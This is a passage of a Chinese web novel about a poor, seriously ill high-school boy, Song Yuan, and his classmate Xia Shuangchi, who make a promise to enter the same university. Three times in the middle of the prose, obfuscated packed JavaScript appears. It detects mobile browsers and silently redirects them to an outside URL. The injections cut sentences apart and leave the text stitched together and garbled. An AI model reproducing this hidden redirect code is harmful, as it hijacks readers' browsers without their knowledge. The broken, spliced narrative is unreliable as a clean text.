这短暂的温暖，不过是命运施舍的幻影，他终究要独自坠入永恒的寒夜。 沉默在两人之间蔓延，带着一种沉重的分量。 过了仿佛一个世纪那么久，宋远才收回目光，看向她，只吐出一个字：“会。” 两人在步行街边一处僻静冰冷的石阶上坐下。 夏霜迟微微挨近他身侧，感受着一点点传递过来的体温。 她仰头望着暗蓝色的、缀满星辰的夜空，忽然轻声开口：“宋远，我一直觉得……你有点奇怪。” “为什么？” 宋远的声音带着一丝不易察觉的干涩。 “你好像……从来不接受我送你的东西。就算是偶尔收下了，也总会用别的方式还回来。” 夏霜迟侧过头，认真地看着他线条冷硬的侧脸，“我感觉……我好像永远无法真正靠近你，无法真正认识你。” “是么……” 宋远喉咙发紧，一股难以言喻的涩意涌上心头。他别开视线，声音低沉，“我没有刻意疏远你。” 夜风拂过，带来远处隐约的喧嚣。 隔了很久，久到夏霜迟以为他不会再开口，宋远才缓缓掀起眼帘，目光落在虚空中的某一点，声音带着一种近乎疲惫的坦诚： “只是……我怕欠下你的人情。” 他顿了顿，继而道: “我还不清，更还不起。” 长到十八岁的这条路上，其中所有的跌爬滚打、冰冷绝望，只有他自己清楚。 每一分钱，都浸透着汗水和屈辱。 “仅仅是……因为那几百块钱吗？” 夏霜迟的声音很轻，带着小心翼翼的探寻。 是啊……就是那几百块钱。 不是“仅仅”，是好几百。 宋远的心脏一阵刺痛，只剩下自己沉重的心跳在空旷的胸腔里孤独地回响。 他眼神晦暗不明，像蒙上了一层浓重的阴影，闷闷地“嗯”了一声。 他无比清晰地知道，没有钱，真的活不下去。 对夏霜迟而言，几百块可能只是一件衣服、一顿饭，一次娱乐。而对他，这是他赖以生存的基石，是维持生命最基础的保障，是无数个夜晚饿着肚子也要咬牙撑下去的理由。 他无法挥霍，也从未享受过挥霍的滋味。 更何况，在每一个独自面对冷锅冷灶的夜晚，在每一次需要独自扛起一切的瞬间，他都刻骨铭心地明白—— 欠人情比挨饿受冻更加可怕。 他大可以一死了之，寻求解脱，但他欠下的东西呢？又有谁来替他偿还？ 夏霜迟生在高处，沐浴着阳光，看不见深渊下的泥泞与挣扎。 她只能看见他强撑起的、表面的“正常”，看不见他为此早已伤痕累累、疲惫不堪的灵魂。 看着身侧陷入怔愣、眼神复杂的女孩，宋远扭过头，声音没什么起伏，却像在平静的湖面投下一颗石子：“我放学回去得早，是因为晚上还要去打小时工。” 说出来吧。 让她看清这不堪的现实。 她一定会嫌弃吧？会像看一个异类一样看他吧？ 那点因烟花和拥抱而升起的微光，终究会被现实的冷水浇灭。 夏霜迟的心跳忽然停滞一瞬。 她猛地意识到，自己之前那些小心翼翼的关心、那些试图拉近距离的举动，在他饱受生活磋磨的眼里，会不会只是居高临下的怜悯？ 是高处的人随手抛下的、带着优越感的施舍？ “对不起……” 她脱口而出，声音带着真切的歉意和一丝慌乱的后怕。 “没关系。” 宋远的声音很平静，听不出情绪。 “其实，”他抬起头，望向远处被霓虹模糊的夜空，声音低沉而清晰，带着一种自嘲的坦白，“我家很穷。我根本不是你眼里什么耀眼的星星。我只是一个……为生存挣扎的普通人。” 夏霜迟用力摇了摇头。 她伸出手，轻轻抓住他放在膝上的小臂，目光灼灼，带着前所未有的认真和坚定，“宋远，你听着。你即是你，我即是我。我眼里的你，是独一无二的存在，是无法被贫穷或其他任何东西改变的。星星的光芒，从来不是因为它在天上，而是因为它本身就发光！” 少女的眼神清澈而诚挚，像一股清泉，直直望进他心底最晦暗的角落。 宋远微微一怔，没忍住，从喉咙里发出一声极轻的、带着点无奈又似乎有点释然的“哼”笑。 他收回目光，垂下的长睫盖住了眼底翻涌的情绪，声音带着一丝自己都没察觉的温和：“会写诗的人就是不一样，说的话都这么……文绉绉的。” “我是认真的！” 夏霜迟强调道，抓着他胳膊的手微微用力。 宋远抬起眼，重新看向她。 路灯的光线在她眼中跳跃，映照出那份不容置疑的坚定。 他沉默地看了她几秒，似有似无地点了下头，声音很轻：“好。” 冬夜的天空难得如此澄澈，繁星密布，如同撒落的碎钻。 夏霜迟拿出手机，屏幕骤然亮起，刺眼的白光瞬间映亮了宋远的脸—— 那过分苍白的脸色在强光下显得愈发没有血色。 夏霜迟滑动屏幕，点开音乐播放器，停留在一首歌的页面。 “你听过……这首歌吗？” 她轻轻戳了戳宋远的胳膊，将手机屏幕转向他。 屏幕上显示着歌名：《星星在唱歌》。 宋远看着那治愈的蓝色封面，迟疑了一瞬，缓缓摇头。 “是一首……很好听的歌。” 夏霜迟的声音很轻，像怕惊扰了什么。 她从口袋里掏出耳机，指尖带着不易察觉的颤抖，将其中一只白色的耳机递向宋远。 宋远看着那只小小的耳机，迟疑了一瞬，才小心翼翼地接过。 指尖不经意触碰到她微凉的指尖，带来一阵细微的电流感。他将耳机轻轻塞入右耳，动作带着一种近乎虔诚的生疏。 夏霜迟将另一只耳机塞进自己左耳，按下了播放键。 温柔清澈的女声伴随着舒缓的旋律，缓缓流淌进两人的耳朵—— “我常常一个人路过 车水马龙拥挤的路口 此时的喧嚣 已与我分割 我无处可逃 四处闪躲 患得患失的世界 有些画面却无法割舍 是你永远 在前方为我闪烁 ……” 纯净的歌声隔绝了外界的嘈杂，小小的耳机线连接着两个并排坐在冰冷石阶上的身影。 这一刻，耳机里流淌的温柔旋律，身边女孩专注宁静的侧脸，还有塞满耳朵的、隔绝了外界喧嚣的纯净歌声，像涓涓细流，缓缓注入宋远的心田。 一种陌生而酸涩的暖流悄然蔓延，让他几乎忘记了自己是谁，身处何地。 一曲终了，余韵在耳边萦绕。 “很好听吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060713|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏霜迟轻声问，侧过头看向他。 宋远微微侧过头，目光落在她被夜风吹起几缕碎发的侧脸上。 耳机里的歌词还在他脑海中回荡——“是你永远在前方为我闪烁”。 他唇角扬起一个真切的、毫无阴霾的弧度，低声应道： “嗯，很治愈。” 这笑容里没有惯常的冷硬和疏离，只有纯粹的、被温暖包裹的轻松。 或许连他自己都没意识到，这是许久以来，第一次发自内心的笑容。 后来他才明白，原来耳机里流淌的，不仅仅是一首歌。 那一刻，他真切感受到的，是名为“被爱”的救赎之光。 纵然短暂，却足以照亮他漫长寒夜中的一隅。 — 时间在无声的悸动中飞速流逝。 夏霜迟低头看了一眼手机，摁灭屏幕后站起身。 “宋远……我得回家了。” 声音里裹着一丝不易察觉的不舍。 “嗯。” 宋远点了点头，站直身体，目光扫过远处深沉的夜色和寂静的街道，喉结微动，“还怕那条巷子吗？” 他指的是初识时便利店旁那条让她不安的暗巷。 那条巷子…… 夏霜迟一怔，心尖像被羽毛轻轻搔过。 他现在提起这个……是不是还想送她？ 这个念头让她脸颊微热，忙不迭地摇摇头，那句“不害怕”却卡在喉咙里，吐不出来也咽不下去。 “嗯？” 宋远挑眉，看着她欲言又止的模样。 “你……你要送我回家吗？” 夏霜迟鼓起勇气，直接问了出来，声音带着一丝雀跃的微颤。 宋远看着她瞬间亮起的眼眸和隐含期待的脸庞，心底某个角落忽然触动一瞬。 他沉默地移开目光，望向远处模糊的街灯轮廓，最终只低声道：“很晚了…” 夏霜迟眼里的光芒以肉眼可见的速度黯淡下去，她低下头，正想道别。 “会骑自行车吗？” 宋远的声音忽然响起。 “不太会……”夏霜迟迟疑道，“之前学过，但……不太敢上路……” “要试试吗？现在路上人少。”宋远的声音在夜色中显得格外清晰。 现在路上没什么车也没什么人。 夏霜迟看着眼前的人，又看了看路边静静停放的共享单车，一种前所未有的勇气涌上心头。 她握紧拳头，用力点头：“好！” 两辆单车解锁的声音在寂静中格外清脆。 一前一后，车轮碾过路面，发出沙沙的轻响。 夜风拂面而来，不刺骨，反而带着一种温和的、自由的气息。 夏霜迟紧紧跟着前方那个挺拔的身影，心脏在胸腔里欢快地擂动。 她从不敢独自在夜色中骑行，可此刻，晚风穿过她的发梢，掠过耳畔，仿佛将那些无形的枷锁一一吹散。 青春时光里渴望已久的自由，第一次如此清晰、如此具象地拥抱着她。 “宋远！” 夏霜迟忍不住喊出声，声音被风吹散又聚拢，带着飞扬的笑意，“谢谢你！” 是这清凉的晚风，是这肆意的青春，是这挣脱束缚的热烈自由。 她第一次尝到自由的真正滋味，为之动容，为之雀跃，为之欣喜若狂。 新年快乐，夏霜迟。 她在心底对自己说。 别了宋远，夏霜迟独自躺在床上，指尖仿佛还残留着车把的触感和夜风的微凉。 心底的悸动久久不散，白日里的那些担忧，竟也被这巨大的喜悦暂时冲淡了。 而在深夜，另一边。 15. 一言为定 深夜，另一边。 黑暗吞噬了房间。 何潇呆呆地望着手机屏幕，刺眼的白光映照着他发红的眼眶和眼底的疲惫。 屏幕上满屏都是他发出的绿色气泡，孤零零地悬挂着，得不到任何回应。 【何所谓】:新年快乐。 【何所谓】:还在生气吗？ 【何所谓】:你今天怎么没来学校。别生气了。 …… 何潇只觉得胸口闷得发疼。 他分明不认识那个刘厢厢，为什么林翩月宁愿相信一个陌生人的存在，也不肯听他一句解释？ 她的骄傲像一堵冰冷的墙，将他拒之门外。 他也很累，很难过。 明明一句解释就能澄清的误会，却偏偏要弄成两败俱伤。 “对不起”像是一块烧红的烙铁，烫在他的舌尖，他说不出口，也无法在并非自己过错的情况下低头。 漆黑中，手机屏幕骤然亮起。 何潇的心脏似乎瞬间被揪紧，几乎是扑过去抓起手机，眼底迸发出强烈的希冀。 然而，屏幕上的字句像冰水浇头。 【月月】:我以后不会去学校了。 【何所谓】:为什么？你别生气了！我们谈谈好吗？你到底怎么了？！ 焦灼的等待仿佛一个世纪那么漫长。屏幕终于再次亮起，冰冷的光刺得他眼睛生疼。 【月月】:没有谈的必要了。我要出国了。 出国？！ 这几个字像一颗炸弹在何潇脑中轰然炸响，瞬间将他炸得浑身麻木，思维空白。 他死死盯着屏幕，仿佛要把那几个字盯穿。什么时候走？还回来吗？为什么……这么突然？ 手机屏幕的光在长久的呆滞后，终于一点点黯淡下去，如同他胸腔里那颗刚刚被宣判死刑的心。 黑暗中，他保持着握机的姿势，指尖冰凉僵硬，胸腔里空荡荡的，仿佛被人生生剜走了一块。 青春期第一次真切的心痛，发生在新年的第一天。 他以为他们之间，早该超越了那些模糊的界限，至少……不该是陌生人。 可现实狠狠给了他一记耳光。 林翩月走得太快，太决绝，他甚至连开口挽留的资格都没有。 那看似仅仅相差的一步，实则是他拼尽全力也无法跨越的天堑。 - 次日，学校破天荒地放了假。 早晨八点，惨淡的天光透过蒙尘的窗户照进来。 宋远独自坐在那张泛黄开裂的旧沙发上，指尖无意识地、用力地摩挲着那张边缘已被揉得发软的诊断单和费用清单。 设备费：170,000。 手术及住院费：50,000。 总计：220,000。 这个数字像一座冰冷沉重的大山，压得他喘不过气。 二十二万。 他打工一小时挣十二块，不吃不喝要工作多久？ 他不敢算。 这数字对他而言，不是希望之门，是比死亡通知单更冰冷的绝望宣判。 他从未惧怕过死亡本身，可不知从何时起…… 或许是那个烟花下的笑容，或许是那个带着清甜香气的拥抱，或许是那句“你像星星一样闪亮”。 他开始对那注定的终结感到退缩和恐惧。 他害怕自己有一天真的不在了，害怕留下未尽的遗憾。 人心一旦有了挂念，便会变得格外贪生怕死。 接受治疗？ 意味着要背上至少二十二万的巨债。 享受金钱的慰藉后死去，给呼莉留下一辈子也还不清的债？ 这个念头像毒蛇一样啃噬着他。 可他不该这样自私，为了多偷几年时光，就把母亲拖入更深的泥潭。 他本该是她的依靠，而不是沉重的累赘。 可是…… 心底那簇名为“夏霜迟”的微小火苗，在死亡的巨大阴影下，依旧倔强地燃烧着。 如果他接受治疗，能活得久一点，是不是……就能多陪她走一段路？多看她几眼笑颜？ 这自私的念头在绝境中疯狂滋长。 宋远闭上眼，第一次如此强烈地渴望，渴望自己生来就是健康的，能平平安安地活到白发苍苍。 “咯吱——” 刺耳的开门声打断了宋远的思绪。 呼莉用肩膀夹着手机，一只手掀开锅盖，另一只手麻利地拿出里面刚热好的、表皮干硬的包子。 “哎哟林总您太客气了！行行行，那就今晚七点，地方您定，我一定准时到！” 呼莉的声音带着一种刻意的热情和讨好。 挂了电话，她抓起一个包子塞进嘴里，走到沙发边挨着宋远坐下。 宋远下颌线绷得死紧，一言不发，甚至没有看她。 “吃了吗？” 呼莉用手肘碰了碰他，见他毫无反应，敛起方才打电话时的眉飞色舞，拿起一个包子硬塞到他手里，“喏，吃点。宋远，林总这可是个大单子！就陪着喝喝酒、聊聊天，五千块！你想想，五千块啊！” 她用力咽下嘴里干涩的包子，像是要说服自己，又强调了一遍，“整整五千！” 宋远垂着眼眸，盯着手里那个有些冰冷的包子。指责和质问堵在喉咙口，火烧火燎，却一个字也吐不出来。 就连刚才在绝望中生出的、想向母亲求助借钱的微弱念头，也瞬间灰飞烟灭。 他知道，呼莉有她的苦衷。 可他已经成年了，他如何能眼睁睁看着自己的母亲，为了那五千块，走上这条他心知肚明的、充满屈辱和危险的路？ 他该愤怒，该质问：你还记得宋听寒吗？你这样对得起谁？ 可他不能。 巨大的羞耻感和无力感淹没了他。 他有什么资格？他连自己活下去的钱都挣不来。 呼莉看着儿子紧抿的唇和僵硬的侧影，重重叹了口气，像是看透了他沉默背后的千言万语。 她没再说什么，起身走进卧室，坐在那面蒙尘的梳妆镜前。 镜中的女人眼窝深陷，憔悴不堪。 她颤抖着拉开那个廉价化妆包的拉链，取出一管遮瑕膏。 苍白的手指用力挤压膏体，厚厚的、粘腻的白色膏体被仔细地涂抹在脖颈侧面一处不易察觉的、淡淡的青紫色痕迹上。 - 夜色如墨汁般浓稠，沉甸甸地压下来。 宋远开着那盏光线昏黄的旧台灯，微弱的光晕勉强照亮摊开的作业本。 然而那些数学符号和英文字母像一群乱舞的蚊蝇，完全进不了他的大脑。 心乱如麻。 耳边是夏霜迟带着期盼的声音：“你很聪明，能不能答应我，好好完成作业？” 眼前是呼莉布满泪痕的脸和那句沉重的：“妈对不住你…” 脑海里是医生严肃的叮嘱：“保持心态，减少剧烈运动，尽快手术！” 更多的，是那些在眼前疯狂跳动、冰冷无情的数字：几百块…五千…二十二万…… 他用力甩了甩头，混沌的大脑没有丝毫转醒的迹象，只有心脏在胸腔里发出沉重而疲惫的哀鸣…… “叮咚。” 手机屏幕在漆黑的房间里陡然亮起，刺眼的白光让宋远下意识地眯起眼。 他迅速点开。 屏幕上只有孤零零的一条新信息，来自呼莉。 【妈】：宋远，妈今天晚上不回去，不用做晚饭和早饭。 似乎有一只手无形地攥住了他的心脏，心脏剧烈地抽搐了一下。 手机屏幕的光，随着他手指的脱力，一点点暗了下去。 最后一丝微弱的光源熄灭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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工藤沙耶加的奋斗与成功，像一束强光，照亮了每个高中学子心中的梦想。 那也是夏霜迟的梦——考上理想的大学，彻底逃离那个令人窒息的牢笼，去寻找真正的自由和希望。 黑暗中，荧幕的光影在宋远轮廓分明的侧脸上明明灭灭。 夏霜迟悄悄侧过脸，凑近他，压低声音问：“宋远，你想考上好大学吗？” 宋远的手插在校服兜里。半晌，他才侧过脸，声音低沉得像呓语：“想吧。” 语气里充满了不确定和对未来的茫然。 “我也想。” 夏霜迟的眼睛在黑暗中亮晶晶的，带着前所未有的认真和期盼，“那……我们做个约定好不好？” 这句话像一颗投入心湖的石子，在宋远死寂的心底激起圈圈涟漪。 他的呼吸停滞了一瞬，静静地等待着。 “我想和你上同一所大学。” 夏霜迟的声音很轻，却带着不容置疑的坚定，“你要追上我。好吗？” 黑暗中，宋远的心猛地一颤。 同一所大学？ 一个对他而言近乎奢望的未来图景。 然而，看着她近在咫尺的、在荧幕光下闪烁的诚挚眼眸，拒绝的话根本无法出口。 既然……生命已在倒计时，他愿意把每一天都当作末日去燃烧，去拼尽最后一丝力气。 “好。” 这个字脱口而出，没有半分犹豫。 夏霜迟的嘴角抑制不住地向上扬起。 宋远望着她弯起的眉眼，心底那片冰冷的荒原仿佛被投入了一颗火种。 他在无人看见的黑暗中无声地笑了笑，那笑容淹没在变幻的光影里，带着孤注一掷的决绝和一丝近乎悲壮的温柔。 他再次低声重复，像是对她的承诺，更像是对自己命运发出的挑战。 “好。” 一言为定。 16. 贴纸 此后的日子里，宋远的生活被压缩成了两个沉重而单调的组合—— 学习与打工。 连带着整个冰冷的寒假，似乎也因他心底那股为某个约定而燃烧的烈火，流逝得比往年格外快些。 然而，身体的警钟却敲得越来越急。 曾经只在剧烈运动后出现的乏力感和呼吸困难，如今却悄然渗透进日常的每一次抬臂、每一次爬楼梯、甚至静坐时。 上楼梯时胸口像压了块石头，中途不得不停下喘息几秒；写题时指尖偶尔会不受控制地微微发麻。 这无时无刻不在提醒着他的生命倒计时。 他对复习的热情，如同在寒风中摇曳却不肯熄灭的烛火，一直燃烧到高二下学期的第一次月考。 刚过完年，班里同学还未从假期的松弛中完全抽离，陡然加快的学习节奏让他们在第一次月考成绩公布后一片哀嚎。 教室里弥漫着沮丧的喧嚣。 宋远接过学委递来的成绩条，目光迅速扫过上面的数字： 语文：105 数学：115 英语：…… 班级排名：29 年级排名：363 他凝视片刻，唇角几不可察地向上牵动了一下，带着一丝少年人特有的、努力被看见后的矜持得意。 他伸出两指，将那张薄薄的纸片轻轻推到了夏霜迟面前。 “进步这么大！” 夏霜迟压低声音惊呼，眼底是毫不掩饰的诧异、欣喜，还有一丝看到他付出终得回报的欣慰。 她清楚记得，上学期期末，宋远还在班级下游挣扎，一个学期，竟已跻身中游！ 这绝非偶然。 从寒假每日的学习打卡，到密密麻麻的错题整理，再到课间办公室的常客身影，他的每一分努力，她都看在眼里。 “嗯。” 宋远看着成绩条，声音里带着久违的轻快，“那奖励呢？” 奖励？ 夏霜迟一怔，随即想起那个关于“好好学习”的约定。 脸颊不争气地泛起红晕。 “那……你想要什么？” 她声音细若蚊蚋，眼神躲闪。 宋远看着她羞赧的模样，唇角勾起一抹极淡的弧度，目光灼灼：“小红花。” “小红花……？” 夏霜迟迟疑。她手边哪有什么小红花？ 看着宋远摊开的、带着薄茧的掌心，她不敢回应他直白又灼热的目光，心跳声盖过了教室的嘈杂。 犹豫片刻，她才缓缓伸出右手食指，带着微不可察的颤抖，轻轻落在他的掌心。 指尖微凉，触感细腻。 她屏住呼吸，先小心翼翼地画了一个小小的圈，然后，指尖轻柔地勾勒出几片花瓣的形状。 一阵酥麻的痒意从掌心瞬间窜遍全身。 宋远低垂着眼睫，呼吸微滞，长长的睫毛飞快地颤动，耳根悄然染上一抹绯红。 这寥寥数笔，在他掌心开出了一朵独属于他的、滚烫的小红花。在肌肤相擦的那一瞬间，这朵意义非凡的花疯狂抽枝长叶，有了血肉。 画完最后一笔，夏霜迟像被烫到般猛地收回手，深深低下头，妄图掩饰快要烧起来的脸颊，声音磕磕绊绊：“小、小红花给你了……要，要记得我们的约定哦！” 少女周身仿佛笼罩着一层粉色的光晕，脸上的红霞如同天边最美的晚霞。 当然会记得。 宋远的目光扫过夏霜迟成绩单上那个耀眼的“5”。 他渴望的并非名校光环，他只是无比清晰地知道，他必须让那个“29”无限接近“5”。 这样，他就能无限地靠近她，靠近那个照亮他晦暗生命的光源。 - 之后的日子，时间仿佛被按下了加速键。 考试接踵而至，高中三年的课程在兵荒马乱中匆匆收尾，连一丝喘息的机会都不曾施舍。 城墙根下傍晚的小摊车旁，多了一个捧着书低声诵读的少年身影；周末便利店的柜台后，那个沉默的营业员总在无人结账的间隙低头演算；食堂排队买饭的短暂等待里，他蹙着眉，指尖在掌心无意识地划着某个难解的数学公式；下课铃响，办公室里总能看到他去围住各科老师答疑的身影…… 宋远仿佛屏蔽了外界所有干扰，只是日复一日地坐在座位上，听课、刷题、订正。 他放下了所有无谓的敏感和自尊，不在乎旁人如何看他。 他的世界里，只剩下成绩条上那个不断缩小的数字，那是他拼尽全力也要抵达的彼岸，是他魂牵梦绕的目标。 第二次月考：班排25 第三次月考：班排20 第四次月考：班排16 他渴望那个数字，变得更小、更小。 深夜，台灯昏黄的光晕下。 宋远打开那本承载着无数心血的订错本，翻到扉页。 那里，贴着他最珍贵的宝藏—— 夏霜迟奖励给他的每一朵小红花贴纸。 他拿起今天刚得的那朵，指尖带着近乎虔诚的温柔，小心翼翼地贴在最醒目的位置。 这些幼稚的彩色贴纸，是他黯淡世界里最绚烂的色彩，他视若珍宝。 练习题和订错本，都是夏霜迟“借”给他的。 宋远明白她的用心——她怕他像从前一样，将善意视为施舍。 “这不是小学生的东西么。” 他曾看着夏霜迟拿出一沓花花绿绿的贴纸，故意质疑。 “那你别要。”夏霜迟气鼓鼓地扭过头，腮帮微鼓，别扭又可爱，“哼。” “我要，”宋远看着她生动的侧脸，声音里带着自己都未察觉的柔软和纵容，“我是小学生。” 每一次微小的进步，每一次作业被老师点名表扬，夏霜迟总会红着脸，带着点小得意，在他手背上贴下一朵新的小红花。 他在学校从不取下。 这看似幼稚的贴纸，成了他手背上最耀眼的勋章，无声地宣示着他们之间未曾言明却心照不宣的亲密联系。 青春、纯粹、美好得令人心颤。 - 这日，是秦福的班会课。 秦福放下教案，摆弄着U盘里的PPT，神情严肃，“这个学期即将结束，高三的学长学姐已在奔赴考场，而我们——” 他环视全班，“就是正儿八经的准高三生了！” 教室里瞬间哗然，叹息与议论交织。 秦福点开PPT，拍了拍手压下喧闹，“这次班会，强调高三纪律！上次的电影很热血，但我希望不只是热血，更要化为行动！奋发图强，考上理想大学！” 看着台下许多迷茫无措的眼神，秦福叹了口气：“很多同学还没意识到，冲锋号角在高中课程结束的那一刻就已经吹响！复习，从现在开始！” 夏霜迟的心也微微发紧，注视着秦福，仿佛在思索自己未来的轮廓。 “但是，” 秦福话锋一转，目光如探照灯般扫过教室，最终稳稳落在后排—— 那个此刻仍在草稿纸上奋笔疾书的少年身上。 “咱们班，有个同学，这学期，一直在稳步前进，从未停歇。” “宋远同学。” 笔尖在纸面猛地一滞，劣质黑笔的墨水在薄脆的草稿纸上洇开一个刺眼的墨点。 宋远缓缓抬起头，心脏在胸腔里重重跳了一下，一股陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071600|179199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暖流夹杂着些许局促涌上心头。全班的目光瞬间聚焦在他身上。 “上学期期末，他还是咱们班四十名开外。” 秦福的声音洪亮，带着不容置疑的赞许，“这学期，在你们没注意的时候，他已经冲到了班级第十六名！” “你们知道这有多难吗？” 秦福拿起讲台上一个边缘磨损、页角卷起的厚厚笔记本，“光物理错题，他就积累了这么厚一本！问我的题目，不下百道！更别说其他科目！” 他放下本子，目光灼灼，“作为新高考纯理科班，数学、物理是重头戏！宋远的数学现在能稳定在130分以上，物理更是多次突破90分！” 秦福讲得有些激动，拿起保温杯灌了几口水，盖上盖子继续道：“论聪明，咱们班谁也不差！但论努力、论毅力、论拼劲，宋远，值得你们每一个人学习！” 话音落下，秦福率先鼓起掌来。 教室里先是静默一瞬，随即爆发出一阵真诚而热烈的掌声！ 夏霜迟侧过头，目光温柔地看向身边人。 宋远深邃的目光从讲台收回，恰好与她含笑的眼眸在空中相遇。 她在他眼中看到了曾经冰封的坚壳彻底融化后，流露出的、属于少年人的、带着点羞涩和光亮的神采。 怎么样，很开心吧？夏霜迟眉眼弯弯，用眼神无声地问。 嗯。宋远眼底漾开一丝极淡却真切的笑意，无声地回答。 班会课在秦福通知期末考试兼第一次模考的安排中结束。 放学的铃声似乎比往日更显轻快。 宋远收拾好书包，忽然扭过头，眼底带着一丝促狭的笑意，“你的贴纸……我记得上次就用完了吧？” 夏霜迟一愣，回想了一下，确实如此。 “那、那我放学就去买……” 宋远摇了摇头，眼神似乎在说：来不及了。 “那……” 夏霜迟歪着头想了想，脸颊微红，“这样吧，如果你能在期末考试……考进班里前十名……” “我就答应你一个要求。” 宋远眼底瞬间像被投入了星火，亮得惊人，“好，一言为定。” 夏霜迟忽然又想反悔，追问道：“你得先告诉我是什么要求！” 宋远没有立刻回答。 他转过头，望向窗外郁郁葱葱、在暖阳下疯长的绿叶。 阳光在他轮廓分明的侧脸上跳跃。 片刻，他转回头，目光沉静而专注地、带着不容错辨的认真，望进夏霜迟的眼睛里，一字一句清晰地说道： “陪我看星星。” 陪我看星星…… 刹那间，所有关于星星的记忆碎片汹涌而至—— “你知道吗？在我眼里，你就像这些星星一样……在闪闪发光。” “宋远，你听着。你即是你，我即是我。我眼里的你，是独一无二的存在……星星的光芒，从来不是因为它在天上，而是因为它本身就发光！” 那个跌入他怀中的瞬间、共享耳机里流淌的温柔旋律、夜色中自由飞驰的自行车…… 所有画面交织重叠，撞击着夏霜迟的心脏。 “不难吧？” 宋远的声音带着一丝不易察觉的期待。 夏霜迟只觉得喉咙发干，心脏在胸腔里疯狂擂动，震得耳膜嗡嗡作响。 脸颊烫得惊人，她指尖颤抖，猛地拉上书包拉链，几乎是要跳了起来。 “那……” 她不敢看他灼热的目光，声音带着破釜沉舟般的羞涩和慌乱，“等你考进前十再说吧！” 话音未落，人已像受惊的小鹿般，飞快地逃离了座位，只留下一个仓惶又甜蜜的背影。 17. 答案 期末考试尘埃落定，返校领取通知书的日子到了。 秦福站在讲台上，将一沓裁好的成绩条递给乌秒。 他清了清嗓子，背着手开始讲话：“同学们，作为准高三生了，别指望能有个完整暑假。这个暑假，我们只放一个月，之后立刻开始补课！” 他目光扫过台下，“接下来这一年，是你们人生中最关键的一年，全年无休！我建议，这一个月，可以去心仪的大学看看，或者出去放松一周。” 教室里瞬间爆发出欢呼。 大多数人只沉浸在即将放假的喜悦中，尚未意识到未来一年的艰苦。 宋远却无心细听。 他的目光紧紧锁在乌秒手中那沓未发的成绩条上，心脏在胸腔里擂鼓般撞击，却又发出一种难掩的哀鸣。 他迫切想看到那个魂牵梦绕的数字，又害怕失望降临—— 这种混合着期待与恐惧的奇妙感觉，几乎要控制住他全部的呼吸。 夏霜迟侧目，看着他紧绷的下颌线和紧抿的唇，轻声唤道：“宋远……” “你很担心吗？” 她的声音像春日的微风，试图拂去他的紧张。 “嗯。” 宋远微微点头，喉结滚动了一下，声音低沉而清晰，“我在意。” 他在意那个数字是否小于十，在意他们之间的约定，更在意自己是否还有资格和能力，陪在她身边，走向那个共同的未来。 看着眼前眼神坚定却难掩疲惫的少年，夏霜迟想起他前几次长时间学习时，额角渗出的冷汗和骤然惨白的脸色。 心脏像是被一只无形的手狠狠揪了一下，顿感浓重的愧疚翻涌上来。 她是不是逼他太紧了？成绩越往上提升越艰难，他的身体……会不会已经受到伤害？ 都怪她…… “其实，你没考进前十，我也愿——” “给。” 夏霜迟刚说到一半的话，被走到桌边的乌秒骤然打断。 他低头眯着眼透过镜片仔细辨认成绩条上的数字，脸上掠过一丝明显的惊讶，不过也没多说什么，将纸条递给了宋远。 班级排名：10 这几个大字如同带着电流，瞬间刺入两人的眼帘。 宋远瞳孔骤缩，一股滚烫的、夹杂着狂喜、得意和难以置信的暖流猛地冲上头顶，心脏随之重重一撞，带来一阵短暂而尖锐的刺痛，让他呼吸一窒。 但这微不足道的警告瞬间被巨大的喜悦淹没。 他……他真的做到了？！前十名！ “第十名……算吗？” 宋远转过头，声音带着不易察觉的颤抖，眼神里还残留着一丝不真实的眩晕感，紧紧盯着夏霜迟。 “算！” 夏霜迟缓缓吐出一口气，紧绷的神经松弛下来，脸上绽开一个温柔而笃定的笑容。 霎时间，宋远唇角抑制不住地向上扬起。 那笑容不再是转瞬即逝的弧度，而是清晰地、明亮地绽放在他冷峻的脸上—— 那是属于少年人的、纯粹而耀眼的意气风发。 是夏霜迟从未在他身上见过的光芒。 “一言为定。”他看着她，声音清晰有力。 “一言为定。”夏霜迟同样坚定地回应。 无需多言，他们都明白这四个字承载的重量。 - 夜色温柔，微风拂面，驱散了夏日的燥热。浅黄色的星辰如同被随意撒在深蓝天鹅绒上的碎钻，闪烁着静谧的光芒。 宋远提前站在约定的地点，微微倚靠着冰凉的电线杆。 他低着头，额前乌黑的碎发遮住了眼底翻涌的情绪。 一条修长的腿随意地支着，双手插在裤兜里，周身依旧散发着惯常的冷漠疏离气息。 唯有在听见那声清亮的呼唤时，那层坚冰才瞬间融化。 “宋远！” 他抬眼望去，少女穿着棕色的制服格裙，正小跑着向他而来，发丝在夜风中轻扬。 “我没迟到吧？” 夏霜迟在他面前站定，气息微喘，带着一丝小心的探询。 宋远拿出手机，屏幕亮起，清晰地显示：20:01。 “迟到了。” 他声音淡淡的，听不出情绪。 夏霜迟脚步一顿，脸上闪过一丝懊恼和紧张，下意识地就想辩解：“我……” 